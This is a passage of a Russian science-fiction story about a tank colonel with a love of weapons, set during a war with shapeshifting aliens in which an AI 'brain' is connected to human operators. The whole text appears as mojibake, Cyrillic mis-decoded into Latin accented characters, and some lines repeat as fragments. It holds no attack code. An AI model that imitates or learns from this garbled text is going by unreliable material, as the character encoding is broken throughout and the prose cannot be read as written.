âèòåëüíî, ïî÷åìó?

- Íå õî÷ó îòâëåêàòü òåáÿ îò áîëåå âàæíûõ äåë, - óëûáíóëñÿ ïîë-
êîâíèê. - Ñêîëüêî ðàç çà ïîñëåäíèå ÷åòûðå ãîäà - à âåäü òû çäåñü
÷åòûðå ãîäà - èñïûòàíèÿ îòìåíÿëèñü ïî ïðè÷èíå ïðîáëåì ñî çäî-
ðîâüåì?

- ß ïîìíþ âñå ñëó÷àè íàèçóñòü, - êîðîòêî õìûêíóë Ìèõàëû÷. -
Òðè ðàçà. Äâàæäû - ïî ïüÿíêå. Îäèí ðàç�

- Êîãäà Ïðîíèí çàñòðåëèëñÿ. ß òîæå ïîìíþ. Âìåñòî òîãî ÷òîáû
ïðîâîäèòü ìåäîñìîòð, òû êîíñòàòèðîâàë ñìåðòü. Òàê ïîñìîòðè æå íà
ìåíÿ - ÿ òðåçâ, êàê ñòåêëûøêî, ñòðåëÿòüñÿ íå ñîáèðàþñü, ïîñëåäíèé

ðàç ÿ ÷èõíóë ïðèìåðíî ïîëãîäà íàçàä - è òû æå ñàì ñïðàâèëñÿ ñ ýòîé
ïðîáëåìîé â òå÷åíèå äâóõ ìèíóò, äîïóñòèâ ìåíÿ äî ñòðåëüá; ÷òî æå
åùå ìîæåò ïðîèçîéòè ñî ìíîé â ñàìîì ðàñöâåòå ëåò?

Âîëîùóê ïðèíÿëñÿ ðàçãëÿäûâàòü ñâîè ëàäîíè, ïîòîì ïîâåðíóë
èõ âíèç, âíèìàòåëüíî ðàññìîòðåë êàæäûé íîãîòü, ñæàë-ðàçæàë êó-
ëàêè� Â åãî ìûñëÿõ øëà óïîðíàÿ áîðüáà çäðàâîãî ñìûñëà è èíñò-
ðóêöèé. Êóçíåöîâ çàêèíóë íîãó íà íîãó, ðàññëàáèëñÿ. Â èñõîäå ýòîé
âíóòðåííåé áîðüáû îí áûë óâåðåí. Ñïóñòÿ ìèíóòó Âîëîùóê ïîäî-
øåë ê ñâîåìó êîìïüþòåðó, íàæàë íåñêîëüêî êëàâèø - íà ýêðàíå ïî-
ÿâèëàñü ôîòîãðàôèÿ Êóçíåöîâà è íåñêîëüêî ñòðîê òåêñòà. Øóìíî
âûäîõíóâ äëÿ õðàáðîñòè, ìàéîð íàáðàë íåîáõîäèìóþ êîìàíäó - è
íà ëè÷íîé êàðòî÷êå ïîëêîâíèêà, ïðèêðåïëåííîé ñëåâà íà ãðóäè, çà-
æåãñÿ çåëåíûé êâàäðàòèê. Åãî ÿðêèé ñâåò äàâàë Êóçíåöîâó ïðàâî
ïðîõîäèòü â ëþáîå ñëóæåáíîå ïîìåùåíèå íà ñòàðòîâîì ýòàæå.

Ïîëêîâíèê áëàãîäàðíî êèâíóë, âñòàë, ïîæàë Íèêèòå ðóêó. Ïîòîì ïî-
âåðíóëñÿ è âûøåë èç ìåäîòñåêà, íàïðàâëÿÿñü íàâñòðå÷ó íîâîé ðàáîòå.

Âîëîùóê ñåë â êðåñëî, êîòîðîå áûëî åùå òåïëûì, ïîäêëþ÷èë ê
ñâîèì çàïÿñòüÿì ïàðó äàò÷èêîâ, ñíÿë êàðäèîãðàììó, íåðàçáîð÷è-
âûì, èñòèííî ìåäèöèíñêèì, ïî÷åðêîì íàïèñàë â âåðõíåì óãëó ôà-
ìèëèþ "Êóçíåöîâ" è, äàæå íå âçãëÿíóâ íà íåå, ïðèøïèëèë ñòåïëå-
ðîì ê ëè÷íîìó äåëó ïîëêîâíèêà.

* * * * *
Êóçíåöîâ âñåãäà äóìàë, ÷òî ïðèãîäíîñòü ÷åëîâåêà ê âîåííîé

ñëóæáå ìîæíî îïðåäåëèòü ïî îäíîìó-åäèíñòâåííîìó êðèòåðèþ -
ïî åãî îòíîøåíèþ ê ýñòåòèêå îðóæèÿ. Îí íåîäíîêðàòíî ñïîðèë
íà ýòó òåìó ñî ñâîèìè êîëëåãàìè, ïðèâîäèë ìàññó àðãóìåíòîâ â
ïîääåðæêó ñâîåé âåðñèè, íî äàëåêî íå âñåãäà íàõîäèë ïîíèìà-
íèå. Îí íå óìåë ñïîðèòü; òî÷íåå ñêàçàòü, îí ðàçó÷èëñÿ ýòî äå-
ëàòü, íåñìîòðÿ íà äâà âûñøèõ îáðàçîâàíèÿ - èíæåíåðíîå è âî-
åííîå (çà ïëå÷àìè áûëà Àêàäåìèÿ Áðîíåòàíêîâûõ âîéñê). Àðìèÿ
âûíóäèëà åãî ñòàòü ïðÿìîëèíåéíûì, íå òåðïÿùèì âîçðàæåíèé
÷åëîâåêîì, è ïîýòîìó âñå åãî àðãóìåíòû îáû÷íî âîñïðèíèìà-
ëèñü òîëüêî â âèäå ïðèêàçîâ.

Îí ñ÷èòàë - è òàê áûëî î÷åíü äàâíî, ñ äåòñòâà - ÷òî âû÷èñëèòü
ñêëîííîñòü ÷åëîâåêà ê âîåííîìó äåëó î÷åíü ïðîñòî. ÄÎÑÒÀÒÎ×ÍÎ

ÂÛßÑÍÈÒÜ, ÂÈÄÈÒÅ ËÈ ÂÛ ÊÐÀÑÎÒÓ Â ÎÐÓÆÈÈ. Åñëè äà - äðóãè-
ìè ñëîâàìè, åñëè âû â ñîñòîÿíèè îöåíèòü îðóæèå êàê ïðîèçâåäå-
íèå èñêóññòâà, èñïûòûâàòü âäîõíîâåíèå, äåðæà â ðóêàõ ïèñòîëåò
èëè ïðèæèìàÿñü ùåêîé ê õîëîäíîìó ïðèêëàäó, âîñõèùàòüñÿ èçãè-
áàìè òîðïåäíîãî êàòåðà è ôèãóðàìè âûñøåãî ïèëîòàæà - âû ïðî-
ñòî ñîçäàíû äëÿ òîãî, ÷òîáû íîñèòü ïîãîíû. Åñëè íåò - âû îáðå÷å-
íû âñþ æèçíü áûòü "ïèäæàêîì", äàëåêèì îò ñóðîâûõ àðìåéñêèõ
áóäíåé, ÷åëîâåêîì âòîðîãî ñîðòà.

Êóçíåöîâà âñåãäà ïðèâëåêàëî îðóæèå. Åùå ñî øêîëû îí ïðîíåñ
ýòî îùóùåíèå áëàãîãîâåéíîãî òðåïåòà ïðè âçãëÿäå íà ñðåäñòâà
óìåðùâëåíèÿ ëþäåé. Íà÷àâ ïîñåùàòü ñ øåñòîãî êëàññà ñòðåëêîâûé
êðóæîê, îí âòÿíóëñÿ â ýòîò ïðîöåññ íà óðîâíå çàâèñèìîñòè - ïðè-
êëàä "ìåëêàøêè" âûçûâàë â íåì áóðþ ýìîöèé, íåñðàâíèìûõ ñ òå-
ìè, ÷òî âîçíèêàëè ïðè ðåøåíèè êâàäðàòíûõ óðàâíåíèé è ðàçãëÿäû-
âàíèè òû÷èíîê è ïåñòèêîâ. Ëåæà íà äðàíîì ìàòðàñå â øêîëüíîì
òèðå, óñòàíîâèâ ëîêîòü ëåâîé ðóêè â ïðàâèëüíóþ ïîçèöèþ è óäåð-
æèâàÿ òÿæåëóþ äëÿ øêîëüíèêà âèíòîâêó íåòðåíèðîâàííûì åùå çà-
ïÿñòüåì - îí áûë è Ðîáèí Ãóäîì, è Êîæàíûì ×óëêîì, è Âèëüãåëü-
ìîì Òåëëåì îäíîâðåìåííî. "Ïðàâàÿ íîãà - ïðîäîëæåíèå ñòâîëà".
Îí ñàì áûë ïðîäîëæåíèåì ñòâîëà.

Îðóæèå äèñöèïëèíèðîâàëî, çàñòàâëÿëî ïîä÷èíÿòüñÿ íåîáõîäè-
ìûì äëÿ áåçîïàñíîñòè óñëîâèÿì. Óáðàòü ðóêè ñî ñïóñêîâîãî êðþ÷-
êà, åñëè â ñåêòîðå ìèøåíåé ÷åëîâåê, ïîäõîäèòü ê ïîçèöèè òîëüêî
ïî êîìàíäå, íèêàêèõ øóòîê ñ îðóæèåì. Ñïèñîê ìîæíî áûëî ïðîäîë-
æàòü áåñêîíå÷íî�

Îí áðàë ïðèçû, ãðàìîòû, êóáêè íà ñòðåëêîâûõ ñîðåâíîâàíèÿõ -
íî îí ñòðåëÿë íå ðàäè ñòðåëüáû è ïîáåä. Îðóæèå çâàëî åãî çà ñî-
áîé; îí ïðàêòè÷åñêè íå çàìå÷àë êðàñîòû ìîòîöèêëîâ, àâòîìîáèëåé,
îäåæäû. Åäèíñòâåííîå, ÷òî åùå ìîãëî ïðèâëå÷ü åãî âçãëÿä - êðàñè-
âàÿ äåâóøêà. Íî åñëè åìó êàçàëîñü, ÷òî ýòà äåâóøêà â âîåííîé ôîð-
ìå áóäåò âûãëÿäåòü íåëåïî - îíà ïðîïàäàëà äëÿ íåãî íàâñåãäà.

Íà îäíîé èç ñòðåëêîâûõ ñïàðòàêèàä, íåçàäîëãî äî âûïóñêíî-
ãî âå÷åðà â øêîëå, îí âçÿë âñå âîçìîæíûå ïðèçû - è ëè÷íûé çà-
÷åò, è êîìàíäíûé - è åìó â êà÷åñòâå íàãðàäíîãî áîíóñà áûëî
ïîçâîëåíî ñòðåëÿòü íà ïîëèãîíå èç âñåõ âèäîâ îðóæèÿ. Âðåìÿ îò
âðåìåíè Êóçíåöîâ îãëÿäûâàëñÿ íàçàä, â òîò äåíü, è ïðèõîäèë ê
âûâîäó, ÷òî èìåííî òîãäà îïðåäåëèëñÿ âûáîð åãî ïðîôåññèè.
Ðàññòðåëèâàÿ èç ïóëåìåòà ñòåíäû, îí íàñëàæäàëñÿ çàïàõîì ãî-
ðÿ÷èõ øèïÿùèõ ãèëüç; ïîëèâàÿ èç "Êàëàøà" ðîñòîâûå ìèøåíè,
îí îùóùàë ñèëó, êîòîðàÿ âëèâàëàñü â íåãî âìåñòå ñ ãðîõîòîì
óäàðíîãî ìåõàíèçìà. È êàê ïîòîì ñëàäêî íûëî îòáèòîå äî îã-
ðîìíîãî ëèëîâîãî ñèíÿêà ïëå÷î�

Êîíå÷íî æå, îí ñòàë âîåííûì. Íåñìîòðÿ íà ïðèâÿçàííîñòü ê îðó-
æèþ ñòðåëêîâîìó, èíäèâèäóàëüíîìó - îí ðåøèë ñòàòü îôèöåðîì
áðîíåòàíêîâûõ âîéñê. Áîëüøèå, ïàõíóùèå ñîëÿðîé è ïûøóùèå ÷åð-
íûì äûìîì ìàøèíû, êà÷àþùèå ñòâîëàìè íà áàëàíñèðàõ è óâåøàí-
íûå äåòîíàöèîííûìè ïëèòàìè ïðîòèâîðàêåòíîé çàùèòû - îíè áûëè
íåâîîáðàçèìî êðàñèâû. Ðÿäîì ñ íèìè êîíöåïò-êàð îò "Ìåðñåäåñ-
Áåíö" âûãëÿäåë óùåðáíîé òåëåãîé êîíöà äåâÿòíàäöàòîãî âåêà.

Ïðîéäÿ äëèííûé ïóòü ïî äîëæíîñòíîé ëåñòíèöå, äîñëóæèâøèñü
äî âûñîêîãî îôèöåðñêîãî çâàíèÿ è áóäó÷è óâåðåííûì â çàâòðàø-
íåì äíå íàñòîëüêî, íàñêîëüêî ìîæåò ñåáå ýòî ïîçâîëèòü ÷åëîâåê,
æèâóùèé îò òðåâîãè äî òðåâîãè, îí è íå çíàë, ÷òî ÄÅËÎ ÍÅ Â ÊÐÀ-
ÑÎÒÅ. Îí ïîíÿë ýòî, êîãäà ïðèøëà âîéíà�

Øàãàÿ ïî ãóëêèì êîðèäîðàì, ïðèáëèæàþùèì åãî ê î÷åðåäíîìó
èñïûòàíèþ, îí âñïîìèíàë î òîì, êàê âåñü ìèð çàìåð â íàïðÿæåíèè
è òîìèòåëüíîì îæèäàíèè, êîãäà ïÿòü ñ ïîëîâèíîé ëåò íàçàä àðìà-
äà àìîðôîâ çàâèñëà íà âûñîêèõ îðáèòàõ íàä Çåìëåé. Íîâîñòíûå
êàíàëû åæåñåêóíäíî âûïëåâûâàëè ñòðî÷êè ñîîáùåíèé î êîíòàêòå ñ
âíåçåìíûìè öèâèëèçàöèÿìè, î íà÷àëå íîâîé ýðû â èñòîðèè ÷åëî-
âå÷åñòâà. È ýòà ýðà íå çàñòàâèëà ñåáÿ æäàòü.

Íå ïðîèçîøëî íè÷åãî âíåøíå ïðèìå÷àòåëüíîãî, çàìåòíîãî. Âî-
êðóã Çåìëè ìåäëåííî âðàùàëèñü íà ãåîñòàöèîíàðíûõ îðáèòàõ ãè-
ãàíòñêèå òåëà âîñåìíàäöàòè êîðàáëåé, íèêàêèõ ñèãíàëîâ è ñëåäîâ
àêòèâíîñòè, íè÷åãî. À ïîòîì íà Çåìëå ñòàëè èñ÷åçàòü ëþäè.

Ïðèøåëüöû ÿâëÿëè ñîáîé ÷óäåñà ìèìèêðèè, ìàñêèðîâêè, ïîëè-
ìîðôèçìà. Íèêòî è íèêîãäà íå ìîã âíÿòíî ðàññêàçàòü îá îáëèêå
èíîïëàíåòÿí, î òîì, êàê âûãëÿäÿò èõ "÷åëíîêè", íà êîòîðûõ îíè
áëàãîïîëó÷íî "ñîáèðàëè äàíü" ïðàêòè÷åñêè ñî âñåé ïîâåðõíîñòè
ïëàíåòû. Øàòòëû ìàñêèðîâàëèñü ïîäî âñå, ÷òî óãîäíî - ïîä ïðè-
âû÷íûå ãëàçó ñàìîëåòû è âåðòîëåòû ðàçíûõ ìîäåëåé, ïîä âîçäóø-
íûå øàðû, äåëüòàïëàíû, ìåòåîçîíäû è ïðî÷èå ëåòàòåëüíûå àïïà-
ðàòû. Ðàñïîçíàòü èõ áûëî íåâîçìîæíî, èáî õàðàêòåðèñòèêè öåëåé
íà ýêðàíàõ ðàäàðîâ ñîâïàäàëè äî ìåëî÷åé.
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- ß ïîìíþ âñå ñëó÷àè
íàèçóñòü, - êîðîòêî õìûêíóë

Ìèõàëû÷. - Òðè ðàçà. Äâàæäû -
ïî ïüÿíêå. Îäèí ðàç�



Ýòîò ïåðèîä, êîòîðûé ïðîäîëæàëñÿ îêîëî ïîëóãîäà, áûë íàçâàí
â èñòîðèè âîéíû ñ àìîðôàìè "ïåðèîäîì òèõîé àãðåññèè". Ñ Çåì-
ëè áûëî âûâåçåíî îêîëî âîñüìè òûñÿ÷ ÷åëîâåê - è íàñòîëüêî íåçà-
ìåòíî, ÷òî òîëüêî ïî ïðîøåñòâèè âðåìåíè óäàëîñü îöåíèòü âåñü
ìàñøòàá òðàãåäèè. Çà ýòî âðåìÿ íåîäíîêðàòíî ïðåäïðèíèìàëèñü
ïîïûòêè óñòàíîâèòü ñâÿçü ñ êîðàáëÿìè, íàõîäÿùèìèñÿ íà îðáèòå -
áåçðåçóëüòàòíî. Êóçíåöîâ ïîìíèë, êàê îí ñ äóøåâíûì òðåïåòîì
æäàë âûïóñêîâ íîâîñòåé, â êîòîðûõ ïðîñòî äîëæíà áûëà ïðîñêî-
÷èòü èíôîðìàöèÿ î òîì, ÷òî ïîëó÷åí ÎÒÂÅÒ - íî ýòîãî íå ñëó÷è-
ëîñü. Ïðîñòî àìîðôû îäèí - ÎÄÈÍ! - ðàç ïðîêîëîëèñü â ñâîåì èñ-
êóññòâå ñóïåðìàñêèðîâêè; è âñå âñòàëî íà ñâîè ìåñòà.

Âñåãî òîëüêî ðàç ëþäè óâèäåëè, êàê ó íèõ íà ãëàçàõ ÷àñòíûé îä-
íîìîòîðíûé ñàìîëåòèê "Ñåññíà" ïðåâðàòèëñÿ â íå÷òî, íàïîìèíàþ-
ùåå ëåòàþùèé ãðèá, ïåðåâåðíóòûé øëÿïêîé âíèç. Ýòîò "ãðèá" ïðî-
øåë íà áðåþùåì ïîëåòå íàä ìàëåíüêèì çîëîòèñòûì ïëÿæåì, ïîëó-
êîëüöîì îãèáàþùèì íåáîëüøîå îçåðöî íà þãå Êàíàäû. Åãî âèäå-
ëè îäíîâðåìåííî îêîëî ÷åòûðåõñîò îòäûõàþùèõ; ïðàêòè÷åñêè âñå
îíè ñìîãëè çàñâèäåòåëüñòâîâàòü òîò ôàêò, ÷òî èç âîäû íåèçâåñò-
íîé ñèëîé áûëî èçâëå÷åíî äâà ïëîâöà, íàõîäÿùèõñÿ äîâîëüíî äà-
ëåêî îò áåðåãà. Ýòà ñèëà ïðîñòî ñêðóòèëà èõ, êàê ìîêðóþ îò âîäû
òðÿïêó, âçìåòíóâ âîêðóã íèõ îáëàêî êðîâàâûõ áðûçã, ïîñëå ÷åãî
âòÿíóëà âíóòðü "ãðèáà" óæå ìåðòâûå òåëà. Ñóäÿ ïî âñåìó, òå, êòî
ïèëîòèðîâàë ëåòàòåëüíûé àïïàðàò, íå èìåëè ïîíÿòèÿ î òîì, ÷òî
áûëè çàìå÷åíû; îíè ïðîñòî âûïîëíèëè ñâîþ ðàáîòó.

Êîå-êòî óñïåë ñäåëàòü íåñêîëüêî ôîòîãðàôèé, ó äâîèõ ïîä ðóêîé
îêàçàëèñü âèäåîêàìåðû. Ñïóñòÿ ïîë÷àñà äîêàçàòåëüñòâà àãðåññèè
óæå áûëè â ýôèðå. Íàøëèñü íåñêîëüêî àíàëèòèêîâ, óæå äîëãî ðà-
áîòàâøèõ â òèøè êàáèíåòîâ íàä ýòîé ïðîáëåìîé - îíè-òî è âûäâè-
íóëè ãèïîòåçó î òîì, ÷òî Çåìëÿ ñòàëà îáúåêòîì äëèòåëüíûõ, ÷àñòûõ
è áåñ÷åëîâå÷íûõ ýêñïåðèìåíòîâ íàä ëþäüìè. "Íåêàÿ ìîãóùåñò-
âåííàÿ ðàñà èñïîëüçóåò íàñ, êàê àêâàðèóìíûõ ðûáîê, - ïèñàëè ó÷å-
íûå â îáðàùåíèè ê ïðåçèäåíòàì âåëèêèõ äåðæàâ. - Íàä Çåìëåé íà-
âèñ îãðîìíûé ñà÷îê, êîòîðûì ýòè äî ñèõ ïîð íåèçâåñòíûå òâàðè
âûãðåáàþò íàñ äëÿ íåïîíÿòíûõ öåëåé - ïðè ýòîì, íàâåðíîå, äàæå
íå çàìå÷àÿ âñåé íåãóìàííîñòè ïðîèñõîäÿùåãî".

Êóçíåöîâ, êîòîðûé áûë îçíàêîìëåí ñ ïîëíûì òåêñòîì ýòîãî îá-
ðàùåíèÿ, êàê îôèöåð, èìåþùèé äîñòóï ê ñåêðåòíîé èíôîðìàöèè,
áûë ïîðàæåí, íàñêîëüêî áåñïîìîùíû îêàçàëèñü çåìëÿíå ïåðåä óã-
ðîçîé èçâíå. Âïåðâûå ïîñëå ïîáåäû íàä èñëàìñêèì êîøìàðîì
Çåìëÿ îêàçàëàñü ïåðåä ëèöîì äåéñòâèòåëüíî âñåîáùåé îïàñíîñòè
- íî äàæå â ýòîò ìîìåíò îáúåäèíèòüñÿ âñåì è ñðàçó îêàçàëîñü íå
ïîä ñèëó. Âî âñå âðåìåíà íàõîäèëèñü ëþäè, êîòîðûå äåëàëè äåíü-
ãè íà áîëüøîé áåäå. ÒÀÊ ÑËÓ×ÈËÎÑÜ È ÍÀ ÝÒÎÒ ÐÀÇ.

Âîîðóæåííûå ñèëû ïðàêòè÷åñêè âñåõ ïåðåäîâûõ ñòðàí áûëè ãî-
òîâû ïðèéòè íà ïîìîùü âñåì, êòî ïîïðîñèò ïîìîùè - íå ñ÷èòàÿ íà-
ñåëåíèÿ ñîáñòâåííûõ çåìåëü. Íî îäíîãî æåëàíèÿ áûëî ìàëî - íà-
äî áûëî ðàñïîëàãàòü ñîîòâåòñòâóþùèì âîîðóæåíèåì. Ïåðâûå
ñòîëêíîâåíèÿ ñ ñèëàìè àìîðôîâ ñëó÷èëèñü ïðàêòè÷åñêè ÷åðåç
äåíü ïîñëå òîãî çëîïîëó÷íîãî äëÿ íèõ ïðîìàõà ñ ìàñêèðîâêîé. Áû-
ëè íàíåñåíû ðàêåòíûå óäàðû ïî êîðàáëÿì, âèñÿùèì â êîñìîñå.

Öåëè äîñòèãëà ëèøü îäíà ðàêåòà, âûïóùåííàÿ èç øàõòû ïîä Íî-
âîñèáèðñêîì. Íåèçâåñòíûé êàïèòàí, óæå ñåäüìîé ãîä ïðîçÿáàâ-
øèé â øàõòå íà áîåâîì äåæóðñòâå, îò æóòêîãî áåçäåëüÿ ïðèäåëàë
ê ïðîãðàììå íàâåäåíèÿ è ëæåöåëåóêàçàíèé ñâîé êóñîê êîäà, ïîòîì
ïðîïèñàë åãî íà òðåíèðîâî÷íîì ñòåíäå, èçó÷èë ðàáîòó è â îäèí
ïðåêðàñíûé äåíü, ïîëíîñòüþ óáåäèâøèñü â òîì, ÷òî îí - íåñîñòî-
ÿâøèéñÿ ëàóðåàò Íîáåëåâñêîé ïðåìèè, âûïîëíèë ïðîøèâêó ïðî-
ãðàììû ðàêåòû, íàõîäÿùåéñÿ íà áîåâîì äåæóðñòâå. Îí áûë åäèí-
ñòâåííûì èç âñåé ñìåíû, êòî çíàë î òîì, ÷òî ðàêåòà äâàäöàòü âî-
ñåìü ìèíóò íàõîäèëàñü â íåáîåñïîñîáíîì ñîñòîÿíèè� Ñåðâèñíûå
ïðîãðàììû, îáñëóæèâàþùèå ðàêåòó, áëàãîñêëîííî âîñïðèíÿëè òå
èñïðàâëåíèÿ, ÷òî âíåñ êàïèòàí - à ïðè àòàêå âîñïîëüçîâàëèñü
èìåííî èìè, òàê îíè èìåëè ñàìûé âûñîêèé ïðèîðèòåò. È ðàêåòà,
ñîçäàâ ïðè ïîìîùè íîâûõ óêàçàíèé òàêèå ëîæíûå öåëè, ÷òî èõ íå
ñìîãëà ïðàâèëüíî ðàñïîçíàòü ñèñòåìà çàùèòû êîðàáëÿ, áëàãîïî-
ëó÷íî ïðåâðàòèëà åãî â ðàäèîàêòèâíûé êóñîê äåðüìà.

Êîíå÷íî, îíè îòâåòèëè. Îòâåòèëè ñòðàøíî, ïî-ñâîåìó. Ýòî íå áû-
ëî ÿäåðíûì Àïîêàëèïñèñîì. Íî è ðàäîñòè íå ïðèíåñëî íè íà ãðàìì.

Âîéíà íà÷àëàñü. Êàê íàçâàëè åå ñðåäñòâà ìàññîâîé èíôîðìàöèè
- "Çîíäîâàÿ âîéíà". Áàçîâûå êîðàáëè íå áûëè ãîòîâû ê áîåâûì
äåéñòâèÿì, íî âîò øàòòëû àìîðôîâ äîñòàâëÿëè çåìëÿíàì îãðîì-
íîå êîëè÷åñòâî ïðîáëåì. È êòî-òî, âñïîìíèâ, êàê îäíà-åäèíñòâåí-
íàÿ ðàêåòà ïðåîäîëåëà ñîòíè êèëîìåòðîâ è íàøëà áðåøü â îáîðî-
íå àìîðôîâ, ðåøèë, ÷òî íàì íóæåí èñêóññòâåííûé èíòåëëåêò. Òà-

êîé, ÷òî ñìîæåò íàõîäèòü äîðîãó ê ïðîòèâíèêó ÷åðåç ïóñòîòó êîñ-
ìîñà. Òàê íà÷àëàñü áèòâà çà íåáî. Çà òî ñàìîå íåáî, êîòîðîå çà-
áðàëî ó ïîëêîâíèêà ñûíà�

Âåäóùèå ïðîãðàììèñòû âñåãî ìèðà, êîòîðûå áûëè â ñîñòîÿíèè
ðåøèòü ïîñòàâëåííóþ çàäà÷ó, ïðèíÿëèñü çà äåëî â ñïåöèàëüíî
îáîðóäîâàííîì è çàùèùåííîì ïîäçåìíîì öåíòðå. Ïî÷òè âñå êîð-
ïîðàöèè, çàíèìàþùèåñÿ ñîçäàíèåì ïðîãðàììíîãî îáåñïå÷åíèÿ,
ïðåäîñòàâèëè ñâîè ðàçðàáîòêè äëÿ îòêðûòîãî èçó÷åíèÿ. Äî ïî-
ñëåäíåãî äåðæàëñÿ òîëüêî Ìàéêðîñîôò, ãëàâà êîòîðîãî òàê è íå
ñìîã ðàññòàòüñÿ ñ èñõîäíûì êîäîì "Windows". Íåñìîòðÿ íà ìíîãî-
êðàòíûå óâåùåâàíèÿ îáùåñòâåííîñòè, îí îñòàâàëñÿ íåïðåêëîííûì
â ñâîåì æåëàíèè óíåñòè ñ ñîáîé â ìîãèëó ñâîè ìèëëèàðäû, íå ïî-
äåëèâøèñü ñ ãèáíóùèì â âîéíå ìèðîì. È ïóëÿ ñíàéïåðà ïîìîãëà
åìó â ýòîì.

Ïîñëå ñìåðòè âåëèêîãî è ìîãóùåñòâåííîãî Áèëëè åãî ïðååìíè-
êè ñòàëè ñãîâîð÷èâåå. Íåîáõîäèìàÿ èíôîðìàöèÿ ñòàëà äîñòóïíîé.
Ðàáîòà çàêèïåëà ñ íîâîé ñèëîé. È ÷åðåç ïîëòîðà ãîäà ñ óñïåõîì çà-
âåðøèëàñü.

Íèêòî íå òåøèë ñåáÿ íàäåæäàìè íà òî, ÷òî ñîçäàíî ñóïåðîðóæèå,
êîòîðîå â áëèæàéøåå âðåìÿ èçáàâèò ïëàíåòó îò àãðåññîðîâ. Ñëèø-
êîì óæ ñèëüíû îêàçàëèñü àìîðôû, âðåìÿ îò âðåìåíè ñìåòàþùèå
ãîðîäà ñ ëèöà Çåìëè. Íî è îò÷àèâàòüñÿ áîëüøå íå áûëî ïðè÷èí.

Ïîëêîâíèê âñïîìíèë, êàê âñå, êòî ñëåäèë çà òàéíûì õîäîì ðàçðà-
áîòîê, îæèäàëè ÷åãî óãîäíî, íî òîëüêî íå òîãî, ÷òî ïîëó÷èëîñü. Ìíî-
ãèå äàëåêèå îò âîîðóæåíèÿ ëþäè ïðîñòî ñ÷èòàëè, ÷òî â èòîãå áóäåò
ñîçäàíà íåêàÿ ðàêåòà, ñïîñîáíàÿ ñáèòü íà ãåîñòàöèîíàðíîé îðáèòå
áàçîâûå ñòàíöèè àìîðôîâ. Îäíàêî âñå îêàçàëîñü íåñêîëüêî èíà÷å.

Ó÷åíûå ïîøëè ïî äðóãîìó ïóòè. Îíè ñîçäàëè èñêóññòâåííûé
ìîçã, êîòîðûé ìîã, âîîðóæèâøèñü ðÿäîì ìíîãî÷èñëåííûõ àíàëî-
ãèé è áîãàòûì îïûòîì ñòîëêíîâåíèé ñ àìîðôàìè, âû÷èñëÿòü çàìà-

ñêèðîâàííûå êàòåðà ïðèøåëüöåâ. Ïðè æåëàíèè ýòîò ìîçã ìîæíî
áûëî ïðèñïîñîáèòü ê ëþáîìó ñîâðåìåííîìó âèäó îðóæèÿ - è îíî
ñòàíîâèëîñü ñìåðòåëüíûì äëÿ àìîðôîâ, èáî èõ ñïóñêàåìûå àïïà-
ðàòû ìîãëè áûòü ñáèòû ïðîñòåéøèìè ðàêåòàìè "çåìëÿ-âîçäóõ".
Ïðàêòè÷åñêè âñå áîåâûå äåéñòâèÿ ïðèøåëüöû âåëè ëîêàëüíî, íå
ñîâåðøàÿ êàêèõ-òî ñâåðõìîùíûõ óäàðîâ ñ îðáèòû - âïîëíå âîç-
ìîæíî, ÷òî ê ïîäîáíîìó ðîäó äåéñòâèé èõ êîðàáëè íå áûëè ïðè-
ñïîñîáëåíû. Ïîýòîìó óñïåøíîå âíåäðåíèå èçîáðåòåíèÿ â âîîðó-
æåííûå ñèë ñòðàí, çàíÿòûõ áåçîïàñíîñòüþ Çåìëè, ìîãëî ñóùåñò-
âåííî èçìåíèòü õîä ñîáûòèé â ïîëüçó îáîðîíÿþùèõñÿ.

Êàê âñåãäà, àâòîðû ïîëó÷èëè çàìå÷àòåëüíûå ðåçóëüòàòû, íî íå
ñòîèëî èì ñëåïî äîâåðÿòü. Áûëî ïðèíÿòî ðåøåíèå îá èñïûòàíèè
èçîáðåòåíèÿ íåçàâèñèìûìè ýêñïåðòàìè ïî âîîðóæåíèþ è êîìïüþ-
òåðíîé òåõíèêå. ×åðåç íåäåëþ ïîñëå åãî íà÷àëà ñòàëî ÿñíî, ÷òî
ïðîåêò íà ãðàíè ïðîâàëà.

Îêàçàëîñü, ïðàêòè÷åñêè íåâîçìîæíî èçìåíèòü íà÷èíêó ñîâðå-
ìåííîé âîåííîé òåõíèêè äëÿ òîãî, ÷òîáû ïîëó÷åííûé "ìîçã" ñìîã
îïåðèðîâàòü ðàñïîçíàâàíèåì è ñòðåëüáîé. Òðåáîâàëîñü åùå î÷åíü
è î÷åíü ìíîãî âðåìåíè äëÿ ìîäåðíèçàöèè ñóùåñòâóþùèõ ìîäåëåé
òàíêîâ, çåíèòíûõ è ðàêåòíûõ óñòàíîâîê, ñîçäàíèÿ íîâûõ ìîäåëåé
òåõíèêè. È òîãäà áûëî ðåøåíî íå èçìåíÿòü âîîðóæåíèå. Âûÿñíè-
ëîñü, ÷òî ïðîùå ÈÇÌÅÍÈÒÜ ËÞÄÅÉ.

Äëÿ ýòîãî ê ðàáîòå áûëè ïðèâëå÷åíû ëþäè ñ ýêñòðàñåíñîðíûìè
ñïîñîáíîñòÿìè, àïîëîãåòû ïàðàïñèõîëîãèè, ãèïíîçà, ýëèòà "X-
Files" - êîðî÷å, âñå òå, êîìó íå òðåáîâàëîñü ìíîãî âðåìåíè, ÷òîáû
çàñòàâèòü ñâîè ìîçãè äóìàòü òàê, êàê ýòî íóæíî ïî óñëîâèþ ýêñïå-
ðèìåíòà. Ìíîãèå èç íèõ íå âûäåðæèâàëè íàïðÿæåíèÿ, îòêàçûâà-
ëèñü ñàìè, ñõîäèëè ñ óìà, ñòàíîâèëèñü èíâàëèäàìè - íî îêîëî
äâàäöàòè ÷åëîâåê îñòàëèñü â ïðîåêòå è ñóìåëè ñäåëàòü òî, ÷òî îò
íèõ òðåáîâàëîñü.

Ïðîãðàììà "èñêóññòâåííîãî èíòåëëåêòà" áûëà ñðàùåíà ñ ÷åëî-
âå÷åñêèì ìîçãîì ïóòåì ñîçäàíèÿ âðåìåííûõ ïîäêëþ÷åíèé ê êîðå.
Ïðîùå ñêàçàòü, ýòî âûãëÿäåëî, êàê âèí÷åñòåð íà ñàëàçêàõ. Âîòêíóë
- ðàáîòàåò. Âûòàùèë - íå ðàáîòàåò. ×åëîâåê íàäåâàë íà ñåáÿ ñïå-
öèàëüíûé íåéðîñåíñîðíûé êîñòþì, âûïîëíÿë ïîäêëþ÷åíèå â çàòû-
ëî÷íûõ äîëÿõ, îòâåòñòâåííûõ çà çðåíèå, ïîñëå ÷åãî ïðåâðàùàëñÿ â »
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Íèêòî íå òåøèë ñåáÿ íàäåæäàìè
